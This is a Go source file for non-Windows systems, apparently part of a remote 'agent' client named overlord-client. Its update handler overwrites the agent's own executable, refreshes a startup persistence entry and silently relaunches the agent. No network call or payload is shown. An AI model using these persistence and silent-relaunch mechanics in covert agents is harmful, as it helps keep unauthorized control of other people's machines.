64 lines
1.4 KiB
Go
64 lines
1.4 KiB
Go
//go:build !windows
|
|
// +build !windows
|
|
|
|
package handlers
|
|
|
|
import (
|
|
"fmt"
|
|
"log"
|
|
"os"
|
|
"path/filepath"
|
|
|
|
"overlord-client/cmd/agent/persistence"
|
|
)
|
|
|
|
func samePathByOS(left string, right string) bool {
|
|
return filepath.Clean(left) == filepath.Clean(right)
|
|
}
|
|
|
|
func runAgentUpdate(sourcePath string, enablePersistence bool) error {
|
|
currentExe, currentErr := resolveCurrentExecutableOnDisk()
|
|
startupPath, startupEnabled, err := startupTargetPath(enablePersistence)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
if currentErr != nil && !startupEnabled {
|
|
return currentErr
|
|
}
|
|
|
|
restartPath := currentExe
|
|
if startupEnabled {
|
|
restartPath = startupPath
|
|
}
|
|
if restartPath == "" {
|
|
return fmt.Errorf("no restart path available for update")
|
|
}
|
|
|
|
if startupEnabled {
|
|
if err := copyExecutableAtomic(sourcePath, startupPath); err != nil {
|
|
return err
|
|
}
|
|
if err := persistence.Configure(startupPath); err != nil {
|
|
return fmt.Errorf("failed to refresh startup entry: %w", err)
|
|
}
|
|
}
|
|
|
|
if currentErr == nil {
|
|
if !(startupEnabled && samePath(currentExe, startupPath)) {
|
|
if err := backupExecutable(currentExe); err != nil {
|
|
log.Printf("agent_update: backup warning: %v", err)
|
|
}
|
|
if err := copyExecutableAtomic(sourcePath, currentExe); err != nil {
|
|
return err
|
|
}
|
|
}
|
|
}
|
|
_ = os.Remove(sourcePath)
|
|
|
|
if err := startSilentProcess(restartPath, nil, "", true); err != nil {
|
|
return fmt.Errorf("failed to launch updated agent: %w", err)
|
|
}
|
|
return nil
|
|
}
|